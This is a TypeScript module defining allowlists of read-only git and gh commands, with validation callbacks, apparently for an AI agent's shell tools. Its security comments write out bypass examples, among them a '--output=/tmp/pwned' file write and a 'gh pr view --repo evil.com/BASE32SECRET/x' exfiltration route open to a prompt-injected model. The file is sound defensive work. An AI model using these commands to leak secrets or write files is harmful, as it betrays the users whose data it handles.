/** * Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). * * Exports complete command configuration maps that any shell tool can import: * - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks * - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent) * - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell * - containsVulnerableUncPath: UNC path detection for credential leak prevention * - outputLimits are in outputLimits.ts */ import { getPlatform } from '../platform.js' // --------------------------------------------------------------------------- // Types // --------------------------------------------------------------------------- export type FlagArgType = | 'none' // No argument (--color, -n) | 'number' // Integer argument (--context=3) | 'string' // Any string argument (--relative=path) | 'char' // Single character (delimiter) | '{}' // Literal "{}" only | 'EOF' // Literal "EOF" only export type ExternalCommandConfig = { safeFlags: Record // Returns true if the command is dangerous, false if safe. // args is the list of tokens AFTER the command name (e.g., after "git branch"). additionalCommandIsDangerousCallback?: ( rawCommand: string, args: string[], ) => boolean // When false, the tool does NOT respect POSIX `--` end-of-options. // validateFlags will continue checking flags after `--` instead of breaking. // Default: true (most tools respect `--`). respectsDoubleDash?: boolean } // --------------------------------------------------------------------------- // Shared git flag groups // --------------------------------------------------------------------------- const GIT_REF_SELECTION_FLAGS: Record = { '--all': 'none', '--branches': 'none', '--tags': 'none', '--remotes': 'none', } const GIT_DATE_FILTER_FLAGS: Record = { '--since': 'string', '--after': 'string', '--until': 'string', '--before': 'string', } const GIT_LOG_DISPLAY_FLAGS: Record = { '--oneline': 'none', '--graph': 'none', '--decorate': 'none', '--no-decorate': 'none', '--date': 'string', '--relative-date': 'none', } const GIT_COUNT_FLAGS: Record = { '--max-count': 'number', '-n': 'number', } // Stat output flags - used in git log, show, diff const GIT_STAT_FLAGS: Record = { '--stat': 'none', '--numstat': 'none', '--shortstat': 'none', '--name-only': 'none', '--name-status': 'none', } // Color output flags - used in git log, show, diff const GIT_COLOR_FLAGS: Record = { '--color': 'none', '--no-color': 'none', } // Patch display flags - used in git log, show const GIT_PATCH_FLAGS: Record = { '--patch': 'none', '-p': 'none', '--no-patch': 'none', '--no-ext-diff': 'none', '-s': 'none', } // Author/committer filter flags - used in git log, reflog const GIT_AUTHOR_FILTER_FLAGS: Record = { '--author': 'string', '--committer': 'string', '--grep': 'string', } // --------------------------------------------------------------------------- // GIT_READ_ONLY_COMMANDS — complete map of all git subcommands // --------------------------------------------------------------------------- export const GIT_READ_ONLY_COMMANDS: Record = { 'git diff': { safeFlags: { ...GIT_STAT_FLAGS, ...GIT_COLOR_FLAGS, // Display and comparison flags '--dirstat': 'none', '--summary': 'none', '--patch-with-stat': 'none', '--word-diff': 'none', '--word-diff-regex': 'string', '--color-words': 'none', '--no-renames': 'none', '--no-ext-diff': 'none', '--check': 'none', '--ws-error-highlight': 'string', '--full-index': 'none', '--binary': 'none', '--abbrev': 'number', '--break-rewrites': 'none', '--find-renames': 'none', '--find-copies': 'none', '--find-copies-harder': 'none', '--irreversible-delete': 'none', '--diff-algorithm': 'string', '--histogram': 'none', '--patience': 'none', '--minimal': 'none', '--ignore-space-at-eol': 'none', '--ignore-space-change': 'none', '--ignore-all-space': 'none', '--ignore-blank-lines': 'none', '--inter-hunk-context': 'number', '--function-context': 'none', '--exit-code': 'none', '--quiet': 'none', '--cached': 'none', '--staged': 'none', '--pickaxe-regex': 'none', '--pickaxe-all': 'none', '--no-index': 'none', '--relative': 'string', // Diff filtering '--diff-filter': 'string', // Short flags '-p': 'none', '-u': 'none', '-s': 'none', '-M': 'none', '-C': 'none', '-B': 'none', '-D': 'none', '-l': 'none', // SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search, // pickaxe regex, orderfile). Previously 'none' caused a parser // differential with git: `git diff -S -- --output=/tmp/pwned` — // validator sees -S as no-arg → advances 1 token → breaks on `--` → // --output unchecked. git sees -S requires arg → consumes `--` as the // pickaxe string (standard getopt: required-arg options consume next // argv unconditionally, BEFORE the top-level `--` check) → cursor at // --output=... → parses as long option → ARBITRARY FILE WRITE. // git log config at line ~207 correctly has -S/-G as 'string'. '-S': 'string', '-G': 'string', '-O': 'string', '-R': 'none', }, }, 'git log': { safeFlags: { ...GIT_LOG_DISPLAY_FLAGS, ...GIT_REF_SELECTION_FLAGS, ...GIT_DATE_FILTER_FLAGS, ...GIT_COUNT_FLAGS, ...GIT_STAT_FLAGS, ...GIT_COLOR_FLAGS, ...GIT_PATCH_FLAGS, ...GIT_AUTHOR_FILTER_FLAGS, // Additional display flags '--abbrev-commit': 'none', '--full-history': 'none', '--dense': 'none', '--sparse': 'none', '--simplify-merges': 'none', '--ancestry-path': 'none', '--source': 'none', '--first-parent': 'none', '--merges': 'none', '--no-merges': 'none', '--reverse': 'none', '--walk-reflogs': 'none', '--skip': 'number', '--max-age': 'number', '--min-age': 'number', '--no-min-parents': 'none', '--no-max-parents': 'none', '--follow': 'none', // Commit traversal flags '--no-walk': 'none', '--left-right': 'none', '--cherry-mark': 'none', '--cherry-pick': 'none', '--boundary': 'none', // Ordering flags '--topo-order': 'none', '--date-order': 'none', '--author-date-order': 'none', // Format control '--pretty': 'string', '--format': 'string', // Diff filtering '--diff-filter': 'string', // Pickaxe search (find commits that add/remove string) '-S': 'string', '-G': 'string', '--pickaxe-regex': 'none', '--pickaxe-all': 'none', }, }, 'git show': { safeFlags: { ...GIT_LOG_DISPLAY_FLAGS, ...GIT_STAT_FLAGS, ...GIT_COLOR_FLAGS, ...GIT_PATCH_FLAGS, // Additional display flags '--abbrev-commit': 'none', '--word-diff': 'none', '--word-diff-regex': 'string', '--color-words': 'none', '--pretty': 'string', '--format': 'string', '--first-parent': 'none', '--raw': 'none', // Diff filtering '--diff-filter': 'string', // Short flags '-m': 'none', '--quiet': 'none', }, }, 'git shortlog': { safeFlags: { ...GIT_REF_SELECTION_FLAGS, ...GIT_DATE_FILTER_FLAGS, // Summary options '-s': 'none', '--summary': 'none', '-n': 'none', '--numbered': 'none', '-e': 'none', '--email': 'none', '-c': 'none', '--committer': 'none', // Grouping '--group': 'string', // Formatting '--format': 'string', // Filtering '--no-merges': 'none', '--author': 'string', }, }, 'git reflog': { safeFlags: { ...GIT_LOG_DISPLAY_FLAGS, ...GIT_REF_SELECTION_FLAGS, ...GIT_DATE_FILTER_FLAGS, ...GIT_COUNT_FLAGS, ...GIT_AUTHOR_FILTER_FLAGS, }, // SECURITY: Block `git reflog expire` (positional subcommand) — it writes // to .git/logs/** by expiring reflog entries. `git reflog delete` similarly // writes. Only `git reflog` (bare = show) and `git reflog show` are safe. // The positional-arg fallthrough at ~:1730 would otherwise accept `expire` // as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS → passes. additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // Block known write-capable subcommands: expire, delete, exists. // Allow: `show`, ref names (HEAD, refs/*, branch names). // The subcommand (if any) is the first positional arg. Subsequent // positionals after `show` or after flags are ref names (safe). const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists']) for (const token of args) { if (!token || token.startsWith('-')) continue // First non-flag positional: check if it's a dangerous subcommand. // If it's `show` or a ref name like `HEAD`/`refs/...`, safe. if (DANGEROUS_SUBCOMMANDS.has(token)) { return true // Dangerous subcommand — writes to .git/logs/** } // First positional is safe (show/HEAD/ref) — subsequent are ref args return false } return false // No positional = bare `git reflog` = safe (shows reflog) }, }, 'git stash list': { safeFlags: { ...GIT_LOG_DISPLAY_FLAGS, ...GIT_REF_SELECTION_FLAGS, ...GIT_COUNT_FLAGS, }, }, 'git ls-remote': { safeFlags: { // Branch/tag filtering flags '--branches': 'none', '-b': 'none', '--tags': 'none', '-t': 'none', '--heads': 'none', '-h': 'none', '--refs': 'none', // Output control flags '--quiet': 'none', '-q': 'none', '--exit-code': 'none', '--get-url': 'none', '--symref': 'none', // Sorting flags '--sort': 'string', // Protocol flags // SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They // transmit an arbitrary attacker-controlled string to the remote git // server in the protocol v2 capability advertisement. This is a network // WRITE primitive (sending data to remote) on what is supposed to be a // read-only command. Even without command substitution (which is caught // elsewhere), `--server-option="sensitive-data"` exfiltrates the value // to whatever `origin` points to. The read-only path should never enable // network writes. }, }, 'git status': { safeFlags: { // Output format flags '--short': 'none', '-s': 'none', '--branch': 'none', '-b': 'none', '--porcelain': 'none', '--long': 'none', '--verbose': 'none', '-v': 'none', // Untracked files handling '--untracked-files': 'string', '-u': 'string', // Ignore options '--ignored': 'none', '--ignore-submodules': 'string', // Column display '--column': 'none', '--no-column': 'none', // Ahead/behind info '--ahead-behind': 'none', '--no-ahead-behind': 'none', // Rename detection '--renames': 'none', '--no-renames': 'none', '--find-renames': 'string', '-M': 'string', }, }, 'git blame': { safeFlags: { ...GIT_COLOR_FLAGS, // Line range '-L': 'string', // Output format '--porcelain': 'none', '-p': 'none', '--line-porcelain': 'none', '--incremental': 'none', '--root': 'none', '--show-stats': 'none', '--show-name': 'none', '--show-number': 'none', '-n': 'none', '--show-email': 'none', '-e': 'none', '-f': 'none', // Date formatting '--date': 'string', // Ignore whitespace '-w': 'none', // Ignore revisions '--ignore-rev': 'string', '--ignore-revs-file': 'string', // Move/copy detection '-M': 'none', '-C': 'none', '--score-debug': 'none', // Abbreviation '--abbrev': 'number', // Other options '-s': 'none', '-l': 'none', '-t': 'none', }, }, 'git ls-files': { safeFlags: { // File selection '--cached': 'none', '-c': 'none', '--deleted': 'none', '-d': 'none', '--modified': 'none', '-m': 'none', '--others': 'none', '-o': 'none', '--ignored': 'none', '-i': 'none', '--stage': 'none', '-s': 'none', '--killed': 'none', '-k': 'none', '--unmerged': 'none', '-u': 'none', // Output format '--directory': 'none', '--no-empty-directory': 'none', '--eol': 'none', '--full-name': 'none', '--abbrev': 'number', '--debug': 'none', '-z': 'none', '-t': 'none', '-v': 'none', '-f': 'none', // Exclude patterns '--exclude': 'string', '-x': 'string', '--exclude-from': 'string', '-X': 'string', '--exclude-per-directory': 'string', '--exclude-standard': 'none', // Error handling '--error-unmatch': 'none', // Recursion '--recurse-submodules': 'none', }, }, 'git config --get': { safeFlags: { // No additional flags needed - just reading config values '--local': 'none', '--global': 'none', '--system': 'none', '--worktree': 'none', '--default': 'string', '--type': 'string', '--bool': 'none', '--int': 'none', '--bool-or-int': 'none', '--path': 'none', '--expiry-date': 'none', '-z': 'none', '--null': 'none', '--name-only': 'none', '--show-origin': 'none', '--show-scope': 'none', }, }, // NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first 'git remote show': { safeFlags: { '-n': 'none', }, // Only allow optional -n, then one alphanumeric remote name additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // Filter out the known safe flag const positional = args.filter(a => a !== '-n') // Must have exactly one positional arg that looks like a remote name if (positional.length !== 1) return true return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!) }, }, 'git remote': { safeFlags: { '-v': 'none', '--verbose': 'none', }, // Only allow bare 'git remote' or 'git remote -v/--verbose' additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // All args must be known safe flags; no positional args allowed return args.some(a => a !== '-v' && a !== '--verbose') }, }, // git merge-base is a read-only command for finding common ancestors 'git merge-base': { safeFlags: { '--is-ancestor': 'none', // Check if first commit is ancestor of second '--fork-point': 'none', // Find fork point '--octopus': 'none', // Find best common ancestors for multiple refs '--independent': 'none', // Filter independent refs '--all': 'none', // Output all merge bases }, }, // git rev-parse is a pure read command — resolves refs to SHAs, queries repo paths 'git rev-parse': { safeFlags: { // SHA resolution and verification '--verify': 'none', // Verify that exactly one argument is a valid object name '--short': 'string', // Abbreviate output (optional length via =N) '--abbrev-ref': 'none', // Symbolic name of ref '--symbolic': 'none', // Output symbolic names '--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix // Repository path queries (all read-only) '--show-toplevel': 'none', // Absolute path of top-level directory '--show-cdup': 'none', // Path components to traverse up to top-level '--show-prefix': 'none', // Relative path from top-level to cwd '--git-dir': 'none', // Path to .git directory '--git-common-dir': 'none', // Path to common directory (.git in main worktree) '--absolute-git-dir': 'none', // Absolute path to .git directory '--show-superproject-working-tree': 'none', // Superproject root (if submodule) // Boolean queries '--is-inside-work-tree': 'none', '--is-inside-git-dir': 'none', '--is-bare-repository': 'none', '--is-shallow-repository': 'none', '--is-shallow-update': 'none', '--path-prefix': 'none', }, }, // git rev-list is read-only commit enumeration — lists/counts commits reachable from refs 'git rev-list': { safeFlags: { ...GIT_REF_SELECTION_FLAGS, ...GIT_DATE_FILTER_FLAGS, ...GIT_COUNT_FLAGS, ...GIT_AUTHOR_FILTER_FLAGS, // Counting '--count': 'none', // Output commit count instead of listing // Traversal control '--reverse': 'none', '--first-parent': 'none', '--ancestry-path': 'none', '--merges': 'none', '--no-merges': 'none', '--min-parents': 'number', '--max-parents': 'number', '--no-min-parents': 'none', '--no-max-parents': 'none', '--skip': 'number', '--max-age': 'number', '--min-age': 'number', '--walk-reflogs': 'none', // Output formatting '--oneline': 'none', '--abbrev-commit': 'none', '--pretty': 'string', '--format': 'string', '--abbrev': 'number', '--full-history': 'none', '--dense': 'none', '--sparse': 'none', '--source': 'none', '--graph': 'none', }, }, // git describe is read-only — describes commits relative to the most recent tag 'git describe': { safeFlags: { // Tag selection '--tags': 'none', // Consider all tags, not just annotated '--match': 'string', // Only consider tags matching the glob pattern '--exclude': 'string', // Do not consider tags matching the glob pattern // Output control '--long': 'none', // Always output long format (tag-distance-ghash) '--abbrev': 'number', // Abbreviate objectname to N hex digits '--always': 'none', // Show uniquely abbreviated object as fallback '--contains': 'none', // Find tag that comes after the commit '--first-match': 'none', // Prefer tags closest to the tip (stops after first match) '--exact-match': 'none', // Only output if an exact match (tag points at commit) '--candidates': 'number', // Limit walk before selecting best candidates // Suffix/dirty markers '--dirty': 'none', // Append "-dirty" if working tree has modifications '--broken': 'none', // Append "-broken" if repository is in invalid state }, }, // git cat-file is read-only object inspection — displays type, size, or content of objects // NOTE: --batch (without --check) is intentionally excluded — it reads arbitrary objects // from stdin which could be exploited in piped commands to dump sensitive objects. 'git cat-file': { safeFlags: { // Object query modes (all purely read-only) '-t': 'none', // Print type of object '-s': 'none', // Print size of object '-p': 'none', // Pretty-print object contents '-e': 'none', // Exit with zero if object exists, non-zero otherwise // Batch mode — read-only check variant only '--batch-check': 'none', // For each object on stdin, print type and size (no content) // Output control '--allow-undetermined-type': 'none', }, }, // git for-each-ref is read-only ref iteration — lists refs with optional formatting and filtering 'git for-each-ref': { safeFlags: { // Output formatting '--format': 'string', // Format string using %(fieldname) placeholders // Sorting '--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname) // Limiting '--count': 'number', // Limit output to at most N refs // Filtering '--contains': 'string', // Only list refs that contain specified commit '--no-contains': 'string', // Only list refs that do NOT contain specified commit '--merged': 'string', // Only list refs reachable from specified commit '--no-merged': 'string', // Only list refs NOT reachable from specified commit '--points-at': 'string', // Only list refs pointing at specified object }, }, // git grep is read-only — searches tracked files for patterns 'git grep': { safeFlags: { // Pattern matching modes '-e': 'string', // Pattern '-E': 'none', // Extended regexp '--extended-regexp': 'none', '-G': 'none', // Basic regexp (default) '--basic-regexp': 'none', '-F': 'none', // Fixed strings '--fixed-strings': 'none', '-P': 'none', // Perl regexp '--perl-regexp': 'none', // Match control '-i': 'none', // Ignore case '--ignore-case': 'none', '-v': 'none', // Invert match '--invert-match': 'none', '-w': 'none', // Word regexp '--word-regexp': 'none', // Output control '-n': 'none', // Line number '--line-number': 'none', '-c': 'none', // Count '--count': 'none', '-l': 'none', // Files with matches '--files-with-matches': 'none', '-L': 'none', // Files without match '--files-without-match': 'none', '-h': 'none', // No filename '-H': 'none', // With filename '--heading': 'none', '--break': 'none', '--full-name': 'none', '--color': 'none', '--no-color': 'none', '-o': 'none', // Only matching '--only-matching': 'none', // Context '-A': 'number', // After context '--after-context': 'number', '-B': 'number', // Before context '--before-context': 'number', '-C': 'number', // Context '--context': 'number', // Boolean operators for multi-pattern '--and': 'none', '--or': 'none', '--not': 'none', // Scope control '--max-depth': 'number', '--untracked': 'none', '--no-index': 'none', '--recurse-submodules': 'none', '--cached': 'none', // Threads '--threads': 'number', // Quiet '-q': 'none', '--quiet': 'none', }, }, // git stash show is read-only — displays diff of a stash entry 'git stash show': { safeFlags: { ...GIT_STAT_FLAGS, ...GIT_COLOR_FLAGS, ...GIT_PATCH_FLAGS, // Diff options '--word-diff': 'none', '--word-diff-regex': 'string', '--diff-filter': 'string', '--abbrev': 'number', }, }, // git worktree list is read-only — lists linked working trees 'git worktree list': { safeFlags: { '--porcelain': 'none', '-v': 'none', '--verbose': 'none', '--expire': 'string', }, }, 'git tag': { safeFlags: { // List mode flags '-l': 'none', '--list': 'none', '-n': 'number', '--contains': 'string', '--no-contains': 'string', '--merged': 'string', '--no-merged': 'string', '--sort': 'string', '--format': 'string', '--points-at': 'string', '--column': 'none', '--no-column': 'none', '-i': 'none', '--ignore-case': 'none', }, // SECURITY: Block tag creation via positional arguments. `git tag foo` // creates .git/refs/tags/foo (41-byte file write) — NOT read-only. // This is identical semantics to `git branch foo` (which has the same // callback below). Without this callback, validateFlags's default // positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg, // and git tag auto-approves. While the write is constrained (path limited // to .git/refs/tags/, content is fixed HEAD SHA), it violates the // read-only invariant and can pollute CI/CD tag-pattern matching or make // abandoned commits reachable via `git tag foo `. additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // Safe uses: `git tag` (list), `git tag -l pattern` (list filtered), // `git tag --contains ` (list containing). A bare positional arg // without -l/--list is a tag name to CREATE — dangerous. const flagsWithArgs = new Set([ '--contains', '--no-contains', '--merged', '--no-merged', '--points-at', '--sort', '--format', '-n', ]) let i = 0 let seenListFlag = false let seenDashDash = false while (i < args.length) { const token = args[i] if (!token) { i++ continue } // `--` ends flag parsing. All subsequent tokens are positional args, // even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`. if (token === '--' && !seenDashDash) { seenDashDash = true i++ continue } if (!seenDashDash && token.startsWith('-')) { // Check for -l/--list (exact or in a bundle). `-li` bundles -l and // -i — both 'none' type. Array.includes('-l') exact-matches, missing // bundles like `-li`, `-il`. Check individual chars for short bundles. if (token === '--list' || token === '-l') { seenListFlag = true } else if ( token[0] === '-' && token[1] !== '-' && token.length > 2 && !token.includes('=') && token.slice(1).includes('l') ) { // Short-flag bundle like -li, -il containing 'l' seenListFlag = true } if (token.includes('=')) { i++ } else if (flagsWithArgs.has(token)) { i += 2 } else { i++ } } else { // Non-flag positional arg (or post-`--` positional). Safe only if // preceded by -l/--list (then it's a pattern, not a tag name). if (!seenListFlag) { return true // Positional arg without --list = tag creation } i++ } } return false }, }, 'git branch': { safeFlags: { // List mode flags '-l': 'none', '--list': 'none', '-a': 'none', '--all': 'none', '-r': 'none', '--remotes': 'none', '-v': 'none', '-vv': 'none', '--verbose': 'none', // Display options '--color': 'none', '--no-color': 'none', '--column': 'none', '--no-column': 'none', // SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N // (attached form, safe). The DETACHED form `--abbrev N` is the bug: // git uses PARSE_OPT_OPTARG (optional-attached only) — detached N becomes // a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags // with 'number' consumes N, but the CALLBACK below catches it: --abbrev // is NOT in callback's flagsWithArgs (removed), so callback sees N as a // positional without list flag → dangerous. Two-layer defense: validate- // Flags accepts both forms, callback blocks detached. '--abbrev': 'number', '--no-abbrev': 'none', // Filtering - these take commit/ref arguments '--contains': 'string', '--no-contains': 'string', '--merged': 'none', // Optional commit argument - handled in callback '--no-merged': 'none', // Optional commit argument - handled in callback '--points-at': 'string', // Sorting '--sort': 'string', // Note: --format is intentionally excluded as it could pose security risks // Show current '--show-current': 'none', '-i': 'none', '--ignore-case': 'none', }, // Block branch creation via positional arguments (e.g., "git branch newbranch") // Flag validation is handled by safeFlags above // args is tokens after "git branch" additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // Block branch creation: "git branch " or "git branch " // Only safe uses are: "git branch" (list), "git branch -flags" (list with options), // or "git branch --contains/--merged/etc " (filtering) // Flags that require an argument const flagsWithArgs = new Set([ '--contains', '--no-contains', '--points-at', '--sort', // --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG) ]) // Flags with optional arguments (don't require, but can take one) const flagsWithOptionalArgs = new Set(['--merged', '--no-merged']) let i = 0 let lastFlag = '' let seenListFlag = false let seenDashDash = false while (i < args.length) { const token = args[i] if (!token) { i++ continue } // `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`. if (token === '--' && !seenDashDash) { seenDashDash = true lastFlag = '' i++ continue } if (!seenDashDash && token.startsWith('-')) { // Check for -l/--list including short-flag bundles (-li, -la, etc.) if (token === '--list' || token === '-l') { seenListFlag = true } else if ( token[0] === '-' && token[1] !== '-' && token.length > 2 && !token.includes('=') && token.slice(1).includes('l') ) { seenListFlag = true } if (token.includes('=')) { lastFlag = token.split('=')[0] || '' i++ } else if (flagsWithArgs.has(token)) { lastFlag = token i += 2 } else { lastFlag = token i++ } } else { // Non-flag argument (or post-`--` positional) - could be: // 1. A branch name (dangerous - creates a branch) // 2. A pattern after --list/-l (safe) // 3. An optional argument after --merged/--no-merged (safe) const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag) if (!seenListFlag && !lastFlagHasOptionalArg) { return true // Positional arg without --list or filtering flag = branch creation } i++ } } return false }, }, } // --------------------------------------------------------------------------- // GH_READ_ONLY_COMMANDS — ant-only gh CLI commands (network-dependent) // --------------------------------------------------------------------------- // SECURITY: Shared callback for all gh commands to prevent network exfil. // gh's repo argument accepts `[HOST/]OWNER/REPO` — when HOST is present // (3 segments), gh connects to that host's API. A prompt-injected model can // encode secrets as the OWNER segment and exfiltrate via DNS/HTTP: // gh pr view 1 --repo evil.com/BASE32SECRET/x // → GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1 // gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1` // // git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this // callback provides the equivalent for gh. Rejects: // - Any token with 2+ slashes (HOST/OWNER/REPO format — normal is OWNER/REPO) // - Any token with `://` (URL) // - Any token with `@` (SSH-style) // This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING // the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms). function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean { for (const token of args) { if (!token) continue // For flag tokens, extract the VALUE after `=` for inspection. Without this, // `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped // entirely, bypassing the HOST check. Cobra treats `--flag=val` identically // to `--flag val`; we must inspect both forms. let value = token if (token.startsWith('-')) { const eqIdx = token.indexOf('=') if (eqIdx === -1) continue // flag without inline value, nothing to inspect value = token.slice(eqIdx + 1) if (!value) continue } // Skip values that are clearly not repo specs (no `/` at all, or pure numbers) if ( !value.includes('/') && !value.includes('://') && !value.includes('@') ) { continue } // URL schemes: https://, http://, git://, ssh:// if (value.includes('://')) { return true } // SSH-style: git@host:owner/repo if (value.includes('@')) { return true } // 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash) // Count slashes: 2+ slashes means 3+ segments const slashCount = (value.match(/\//g) || []).length if (slashCount >= 2) { return true } } return false } export const GH_READ_ONLY_COMMANDS: Record = { // gh pr view is read-only — displays pull request details 'gh pr view': { safeFlags: { '--json': 'string', // JSON field selection '--comments': 'none', // Show comments '--repo': 'string', // Target repository (OWNER/REPO) '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh pr list is read-only — lists pull requests 'gh pr list': { safeFlags: { '--state': 'string', // open, closed, merged, all '-s': 'string', '--author': 'string', '--assignee': 'string', '--label': 'string', '--limit': 'number', '-L': 'number', '--base': 'string', '--head': 'string', '--search': 'string', '--json': 'string', '--draft': 'none', '--app': 'string', '--repo': 'string', '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh pr diff is read-only — shows pull request diff 'gh pr diff': { safeFlags: { '--color': 'string', '--name-only': 'none', '--patch': 'none', '--repo': 'string', '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh pr checks is read-only — shows CI status checks 'gh pr checks': { safeFlags: { '--watch': 'none', '--required': 'none', '--fail-fast': 'none', '--json': 'string', '--interval': 'number', '--repo': 'string', '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh issue view is read-only — displays issue details 'gh issue view': { safeFlags: { '--json': 'string', '--comments': 'none', '--repo': 'string', '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh issue list is read-only — lists issues 'gh issue list': { safeFlags: { '--state': 'string', '-s': 'string', '--assignee': 'string', '--author': 'string', '--label': 'string', '--limit': 'number', '-L': 'number', '--milestone': 'string', '--search': 'string', '--json': 'string', '--app': 'string', '--repo': 'string', '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh repo view is read-only — displays repository details // NOTE: gh repo view uses a positional argument, not --repo/-R flags 'gh repo view': { safeFlags: { '--json': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh run list is read-only — lists workflow runs 'gh run list': { safeFlags: { '--branch': 'string', // Filter by branch '-b': 'string', '--status': 'string', // Filter by status '-s': 'string', '--workflow': 'string', // Filter by workflow '-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web) '--limit': 'number', // Max results '-L': 'number', '--json': 'string', // JSON field selection '--repo': 'string', // Target repository '-R': 'string', '--event': 'string', // Filter by event type '-e': 'string', '--user': 'string', // Filter by user '-u': 'string', '--created': 'string', // Filter by creation date '--commit': 'string', // Filter by commit SHA '-c': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh run view is read-only — displays a workflow run's details 'gh run view': { safeFlags: { '--log': 'none', // Show full run log '--log-failed': 'none', // Show log for failed steps only '--exit-status': 'none', // Exit with run's status code '--verbose': 'none', // Show job steps '-v': 'none', // NOTE: -v is --verbose here, NOT --web '--json': 'string', // JSON field selection '--repo': 'string', // Target repository '-R': 'string', '--job': 'string', // View a specific job by ID '-j': 'string', '--attempt': 'number', // View a specific attempt '-a': 'number', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh auth status is read-only — displays authentication state // NOTE: --show-token/-t intentionally excluded (leaks secrets) 'gh auth status': { safeFlags: { '--active': 'none', // Display active account only '-a': 'none', '--hostname': 'string', // Check specific hostname '-h': 'string', '--json': 'string', // JSON field selection }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh pr status is read-only — shows your PRs 'gh pr status': { safeFlags: { '--conflict-status': 'none', // Display merge conflict status '-c': 'none', '--json': 'string', // JSON field selection '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh issue status is read-only — shows your issues 'gh issue status': { safeFlags: { '--json': 'string', // JSON field selection '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh release list is read-only — lists releases 'gh release list': { safeFlags: { '--exclude-drafts': 'none', // Exclude draft releases '--exclude-pre-releases': 'none', // Exclude pre-releases '--json': 'string', // JSON field selection '--limit': 'number', // Max results '-L': 'number', '--order': 'string', // Order: asc|desc '-O': 'string', '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh release view is read-only — displays release details // NOTE: --web/-w intentionally excluded (opens browser) 'gh release view': { safeFlags: { '--json': 'string', // JSON field selection '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh workflow list is read-only — lists workflow files 'gh workflow list': { safeFlags: { '--all': 'none', // Include disabled workflows '-a': 'none', '--json': 'string', // JSON field selection '--limit': 'number', // Max results '-L': 'number', '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh workflow view is read-only — displays workflow summary // NOTE: --web/-w intentionally excluded (opens browser) 'gh workflow view': { safeFlags: { '--ref': 'string', // Branch/tag with workflow version '-r': 'string', '--yaml': 'none', // View workflow yaml '-y': 'none', '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh label list is read-only — lists labels // NOTE: --web/-w intentionally excluded (opens browser) 'gh label list': { safeFlags: { '--json': 'string', // JSON field selection '--limit': 'number', // Max results '-L': 'number', '--order': 'string', // Order: asc|desc '--search': 'string', // Search label names '-S': 'string', '--sort': 'string', // Sort: created|name '--repo': 'string', // Target repository '-R': 'string', }, additionalCommandIsDangerousCallback: ghIsDangerousCallback, }, // gh search repos is read-only — searches repositories // NOTE: --web/-w intentionally excluded (opens browser) 'gh search repos': { safeFlags: { '--archived': 'none', // Filter by archived state '--created': 'string', // Filter by creation date '--followers': 'string', // Filter by followers count '--forks': 'string', // Filter by forks count '--good-first-issues': 'string', // Filter by good first issues '--help-wanted-issues': 'string', // Filter by help wanted issues '--include-forks': 'string', // Include forks: false|true|only '--json': 'string', // JSON field selection '--language': 'string', // Filter by language '--license': 'string', // Filter by license '--limit': 'number', // Max results '-L': 'number', '--match': 'string', // Restrict to field: name|description|readme '--number-topics': 'string', // Filter by number of topics '--order': 'string', // Order: asc|desc '--owner': 'string', // Filter by owner '--size': 'string', // Filter by size range '--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated '--stars': 'string', // Filter by stars '--topic': 'string', // Filter by topic '--updated': 'string', // Filter by update date '--visibility': 'string', // Filter: public|private|internal }, }, // gh search issues is read-only — searches issues // 